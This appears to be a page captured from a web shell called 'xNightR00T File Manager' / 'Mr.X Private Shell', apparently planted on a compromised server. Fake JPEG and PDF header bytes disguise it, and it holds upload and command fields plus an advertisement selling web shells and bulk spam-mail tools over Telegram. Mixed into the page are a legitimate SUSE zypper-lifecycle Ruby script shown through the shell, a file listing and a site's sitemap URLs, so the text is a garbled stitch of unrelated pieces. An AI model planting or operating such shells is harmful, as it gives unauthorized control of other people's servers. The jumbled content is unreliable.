xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/usr/bin/ruby

require 'rexml/document'
require 'fileutils'
require 'open3'
require 'csv'
require 'optparse'
require 'optparse/time'
require 'date'

module SUSE
  module Zypper
    class << self

      def call(args, quiet = true)
        cmd = "zypper #{args}"
        output, error, status = Open3.capture3({ 'LC_ALL' => 'C' }, cmd) {|_stdin, stdout, _stderr, _wait_thr| stdout.read }

        # Don't fail when zypper exits with 104 (no product found) or 6 (no repositories)
        valid_exit_codes = [0, 104, 6]
        # Catching interactive failures of zypper. --non-interactive always returns with exit code 0 here
        if !valid_exit_codes.include?(status.exitstatus) || error.include?('ABORT request')
          error = error.empty? ? output.strip : error.strip
          print error
#        e = (cmd.include? 'zypper') ? Connect::ZypperError.new(status.exitstatus, error) : Connect::SystemCallError
#        raise e, error
        end
        output.strip unless quiet
      end

      def xml_call(args, root, subpath = [])
        zypper_out = call(args, false)
        xml_doc = REXML::Document.new(zypper_out, compress_whitespace: [])
        ary_of_products_hashes = xml_doc.root.elements[root].elements.map do |e|
          h = {}
          e.attributes.each { |name, value| h[name.to_sym] = value } # add attributes
          subpath.each do |sp|
            next if e.elements[sp].nil?
            fsp = sp.gsub(/\//, '_')
            e.elements[sp].attributes.each { |name, value| h["#{fsp}_#{name}".to_sym] = value } # add attributes of requested sub-elements
            if e.elements[sp].has_text?()
              h["#{fsp}".to_sym] = e.elements[sp].get_text().to_s
            end
          end
          h
        end
      end

    end
  end

  class Lifecycle

    # allow sorting by numeric value
    NowTS   = 0
    NaTS    = 1000000000000000
    NeverTS = 1000000000000001
    ProductFormatStr = "%-55s %s\n"

    def initialize(verbose)
        @verbose = verbose
        @retval = 0
    end

    def load_zypper_data
      repo_list = Zypper::xml_call("--no-refresh -x lr", 'repo-list')
      repo_alias = {}
      repo_list.each do |r|
        repo_alias[r[:alias]] = r[:name]
        repo_alias[r[:name]] = r[:name]
      end

      product_list = Zypper::xml_call("--no-refresh -x pd --xmlfwd codestream", 'product-list',
          ['endoflife', 'registerflavor', 'xmlfwd/codestream/name', 'xmlfwd/codestream/endoflife'])

      product_by_repo = {}
      @installed_products = {}
      product_list.each do |p|
        if !p.key?(:endoflife_time_t)
           p[:endoflife_time_t] = NeverTS
        else
          p[:endoflife_time_t] = p[:endoflife_time_t].to_i
          p[:endoflife_time_t] = NaTS if p[:endoflife_time_t] == 0
        end
        if !p.key?(:xmlfwd_codestream_endoflife)
           p[:codestream_endoflife_time_t] = NeverTS
        else
          begin
            p[:codestream_endoflife_time_t] = Date::parse(p[:xmlfwd_codestream_endoflife]).strftime("%s").to_i
          rescue
            p[:codestream_endoflife_time_t] = NaTS
          end
        end
        if p.key?(:xmlfwd_codestream_name)
          p[:codestream_name] = p[:xmlfwd_codestream_name]
        else
          p[:codestream_name] = ''
        end
        repo = repo_alias[p[:repo]]
        product_by_repo[repo] = p
        @installed_products[p[:name]] =  p if p[:installed] == "true"
      end

      package_list = Zypper::xml_call("--no-refresh -x se -s -t package", 'search-result/solvable-list')
      @installed_package = {}
      package_list.each do |p|
        if p[:kind] == 'package' && p[:status] == 'installed'
          @installed_package[p[:name]] ||= []
          @installed_package[p[:name]] << p
        end
      end

      #hack - guess that repos <name>-Pool and <name>-Updates are the same product
      repo_alias.values.each do |name|
        updates = name.gsub(/-Pool/, '-Updates')
        if updates != name && product_by_repo[name] && !product_by_repo[updates]
          product_by_repo[updates] = product_by_repo[name]
          print "#{updates} is an update repo for #{product_by_repo[name][:name]}\n" if @verbose
        end
      end

      update_list = Zypper::xml_call("--no-refresh -x lu", 'update-status/update-list', ['source'])
      update_list.each do |u|
        (@installed_package[u[:name]] || []).each do |p|
          if p[:arch] == u[:arch]
            p[:update_edition] = u[:edition]
            p[:repository] = repo_alias[u[:source_alias]] if p[:repository] == "(System Packages)"
          end
        end
      end

      package_list.each do |p|
        p[:product] = product_by_repo[p[:repository]]
      end

      # if there are the same versions of a package in multiple products, keep the one with longest product life
      @installed_package.values.each do |p_list|
        p_list.sort_by!{ |p| [p[:edition], p[:product] ? p[:product][:endoflife_time_t] : 0] }.reverse!.uniq!{ |p| p[:edition] }
      end

    end

    def load_lifecycle_data()
      @installed_products.values.each do |product|
        [
          "/var/lib/lifecycle/data/#{product[:name]}.lifecycle",
          "/usr/lib/lifecycle/data/#{product[:name]}.lifecycle",
          "/usr/share/lifecycle/data/#{product[:name]}.lifecycle"
        ].each do |file|
          print "trying to load #{file}... " if @verbose
          begin
            CSV.foreach(file, {:skip_blanks => true, :skip_lines => /^\s*#/ }) do |line|
              name, version, date = line.map(&:strip)
              date = Time.parse(date).strftime("%s")
              version_re = Regexp.new( '^' + Regexp.quote(version).gsub(/\\\*/, '.*') + '$')
              #print "match #{name} #{version_re}\n"
              (@installed_package[name] || []).each do |p|
                #print "#{p}\n"
                if version_re.match(p[:edition])
                  p[:package_eol] = date
                end
                if version_re.match(p[:update_edition])
                  p[:update_package_eol] = date
                end
                p[:version_specified] = version
              end
            end
            print "ok\n" if @verbose
          rescue Errno::ENOENT => e
            print "#{e.message}\n" if @verbose
          rescue Exception => e
            print "\nError parsing #{file}: #{e.message}\n"
            @retval = 2
          end
        end
      end
    end

    def solve_package_eol()
      now = Time.now.strftime("%s").to_i

      @installed_package.values.flatten.each do |p|
        eol = nil
        if p[:package_eol] # eol specified in lifecycle file
          eol = p[:package_eol].to_i
          eol = NowTS if eol <= now
        end
        eol = NowTS if !eol && p[:update_edition] # update exists -> this package is expired
        eol = p[:product][:endoflife_time_t].to_i if !eol && p[:product] && p[:product][:endoflife_time_t] # default to product eol
        eol = NeverTS if !eol
        p[:eol] = eol

        if p[:update_edition]
          up_eol = nil
          up_eol = p[:update_package_eol] if p[:update_package_eol] # eol specified in lifecycle file
          up_eol = p[:product][:endoflife_time_t] if !up_eol && p[:product] && p[:product][:endoflife_time_t] # default to product eol
          p[:update_eol] = up_eol.to_i if up_eol
        end
      end
    end

    def eol_string(eol_ts, vendor)
      eol = ''
      eol = '-' if eol_ts == NeverTS
      if eol_ts == NaTS
        eol = 'n/a'
        if Regexp.new("^SUSE").match(vendor)
          eol += '*'
          @vendor_suse = true
        elsif Regexp.new("^openSUSE").match(vendor)
          eol += '*'
          @vendor_opensuse = true
        end
      end
      eol = 'Now' if eol_ts == NowTS
      eol = Time.at(eol_ts).strftime('%F') if eol_ts && eol == ''
      eol
    end

    def load_already_reported(fn)
      begin
        File.open(fn, 'r') do |f|
          doc = REXML::Document.new f

          @report_since = Time.parse(doc.root.attributes['date'])

          doc.root.elements.map do |e|
            p = {}
            e.attributes.each { |name, value| p[name.to_sym] = value }
            if e.name == 'product'
              if @installed_products[p[:name]][:endoflife_time_t] == p[:eol].to_i
                @installed_products[p[:name]][:already_reported] = true
              end
            elsif e.name == 'package'
              @installed_package[p[:name]].each do |ip|
                if ip[:edition] == p[:edition] && ip[:eol] == p[:eol].to_i
                  ip[:already_reported] = true
                end
              end
            end
          end
        end
      rescue Errno::ENOENT => e
        print "#{e.message}\n" if @verbose
      rescue Exception => e
        print "\nError parsing #{fn}: #{e.message}\n"
        @retval = 2
      end
    end

    def save_report(fn, products, packages)
      begin
        doc = REXML::Document.new
        report= doc.add_element 'report', {"date" => Time.now }
        products.each do |p|
          report.add_element "product", {"name" => p[:name], "eol" => p[:endoflife_time_t]}
        end
        packages.each do |p|
          report.add_element "package", {"name" => p[:name], "edition" => p[:edition], "eol" => p[:eol]}
        end
        File.open(fn, 'w') do |f|
          doc.write(f, 4)
        end
      rescue Exception => e
        print "\nError saving #{fn}: #{e.message}\n"
        @retval = 2
      end
    end

    def print_product(p)
      vendor = p[:vendor]
      if p.key?(:xmlfwd_codestream_name)
        if p[:xmlfwd_codestream_name] != @printed_codestream
          printf(ProductFormatStr, "Codestream: " + p[:xmlfwd_codestream_name], eol_string(p[:codestream_endoflife_time_t], vendor))
          @printed_codestream = p[:xmlfwd_codestream_name]
        end
        printf(ProductFormatStr, "    " + p[:summary], eol_string(p[:endoflife_time_t], vendor))
      else
        printf(ProductFormatStr, p[:summary], eol_string(p[:endoflife_time_t], vendor))
        @printed_codestream = nil
      end
    end

    def print_package(p)
      vendor = ''
      vendor = p[:product][:vendor] if p[:product]
      eol = eol_string(p[:eol], vendor)
      up = ''
      if p[:update_edition]
        up = ", installed #{p[:edition]}, update available #{p[:update_edition]}"
        up_eol = ''
        up_eol = eol_string(p[:update_eol], vendor) if p[:update_eol] && p[:update_eol] < NaTS
      end
      name = p[:name]
      if p[:version_specified] && p[:version_specified] != '*'
        name += "-#{p[:version_specified]}"
      end
      printf("%-40s %-40s %s\n", name, eol + up, up_eol)
    end

    def report_products(products, msg)
      base_products = products.select{ |p| p[:isbase] == 'true'}.sort_by.with_index { |p, idx| [p[:codestream_name], p[:endoflife_time_t].to_i, idx] }
      modules = products.select{ |p| p[:registerflavor] == 'module'}.sort_by.with_index { |p, idx| [p[:codestream_name], p[:endoflife_time_t].to_i, idx] }
      extensions = products.select{ |p| p[:registerflavor] == 'extension'}.sort_by.with_index { |p, idx| [p[:codestream_name], p[:endoflife_time_t].to_i, idx] }

      if base_products.length > 0
        printf("\n" + ProductFormatStr, "Product #{msg}", "")
        @printed_codestream = nil
        base_products.each do |product|
          print_product(product)
        end
      end

      if modules.length > 0
        printf("\n" + ProductFormatStr, "Module #{msg}", "")
        @printed_codestream = nil
        modules.each do |product|
          print_product(product)
        end
      end

      if extensions.length > 0
        printf("\n" + ProductFormatStr, "Extension #{msg}", "")
        @printed_codestream = nil
        extensions.each do |product|
          print_product(product)
        end
      end

    end

    def print_lifecycle_url()
      print "\n*) See https://www.suse.com/lifecycle for latest information" if @vendor_suse
      print "\n*) See https://en.opensuse.org/Lifetime for latest information" if @vendor_opensuse
      print "\n"
    end

    def report(save_fn)
      return if @retval > 0
      if @report_since
          print "Reporting changes since #{@report_since}\n"
      end

      products = @installed_products.values
      print_products = products.select {|p| !p[:already_reported]}
      if print_products.length > 0
        report_products(print_products, "end of support")
      else
        print "\nNo products"
        print " changed since #{@report_since}" if @report_since
        print ".\n"
      end

      packages = @installed_package.values.flatten.select {|p| (p[:package_eol] || p[:update_edition]) }
      print_packages = packages.select {|p| !p[:already_reported] }
      if print_packages.length > 0
        print "\nPackage end of support if different from product:\n"
        print_packages.sort_by.with_index { |p, idx| [p[:eol], idx] }.each do |p|
          print_package(p)
        end
      else
        print "\nNo packages with end of support different from product"
        print " changed since #{@report_since}" if @report_since
        print ".\n"
      end

      print_lifecycle_url()

      save_report(save_fn, @installed_products.values, packages) if save_fn

      @retval = 1 if print_products.length == 0 && print_packages.length == 0
    end

    def report_packages(list)
      print "\nPackage end of support:\n"
      list.each do |name|
        p_list = @installed_package[name]
        if !p_list
          print "#{name} is not installed\n"
          @retval = 1
        else
          p_list.each { |p| print_package(p) }
        end
      end
      print_lifecycle_url()
    end

    def report_deadline(date, save_fn)
      if @report_since
          print "Reporting changes since #{@report_since}\n"
      end
      date_ts = date.strftime("%s").to_i
      date_str = Time.at(date_ts).strftime('%F')

      products = @installed_products.values.select {|p| (p[:endoflife_time_t] && p[:endoflife_time_t].to_i <= date_ts or p[:codestream_endoflife_time_t] && p[:codestream_endoflife_time_t] <= date_ts)}
      print_products = products.select {|p| !p[:already_reported]}
      if print_products.length > 0
        report_products(print_products, "end of support before #{date_str}")
      else
        print "\nNo products whose support ends before #{date_str}.\n"
      end
      packages = @installed_package.values.flatten.select {|p| p[:eol] && p[:eol] <= date_ts }
      dif_packages = packages.select {|p| (p[:package_eol] || p[:update_edition]) }
      print_packages = dif_packages.select {|p| !p[:already_reported] }
      if packages.length > 0
        if print_packages.length > 0
          print "\nPackage end of support before #{date_str}:\n"
          print_packages.sort_by.with_index { |p, idx| [p[:eol], idx] }.each do |p|
            print_package(p)
          end
        else
          print "\nNo packages with end of support different from product.\n"
        end
      else
        print "\nNo packages whose support ends before #{date_str}.\n"
      end
      print_lifecycle_url()

      save_report(save_fn, products, dif_packages) if save_fn

      @retval = 1 if print_products.length == 0 && print_packages.length == 0
    end

    def exit_val()
      exit @retval
    end

  end
end

options = {}

OptionParser.new do |opts|
  opts.banner = "Usage: zypper lifecycle [ -v | --verbose ] [--save <file>] [ --diff <file> ] --days N | --date <date> | <package> ..."

  opts.on("--days N", Integer, "Show packages/products whose support ends in N days (from now)") do |d|
    options[:date] = Time.now + d * 60 * 60 * 24
  end
  opts.on("--date YYYY-MM-DD", Time, "Show packages/products whose support ends before the specified date") do |d|
    options[:date] = d
  end
  opts.on("--save <file>", String, "Save report to file") do |f|
    options[:save] = f
  end
  opts.on("--diff <file>", String, "Report only differences from previouly saved report") do |f|
    options[:diff] = f
  end
  opts.on("-v", "--[no-]verbose", "Run verbosely") do |v|
    options[:verbose] = v
  end
end.parse!

lifecycle = SUSE::Lifecycle.new(options[:verbose])
lifecycle.load_zypper_data
lifecycle.load_lifecycle_data
lifecycle.solve_package_eol

if options[:date]
  lifecycle.load_already_reported(options[:diff]) if options[:diff]
  lifecycle.report_deadline(options[:date], options[:save])
elsif ARGV.empty?
  lifecycle.load_already_reported(options[:diff]) if options[:diff]
  lifecycle.report(options[:save])
else
  lifecycle.report_packages(ARGV)
end


lifecycle.exit_val

Filemanager

Name Type Size Permission Actions
zypper-lifecycle File 16.22 KB 0755
zypper-migration File 15.94 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml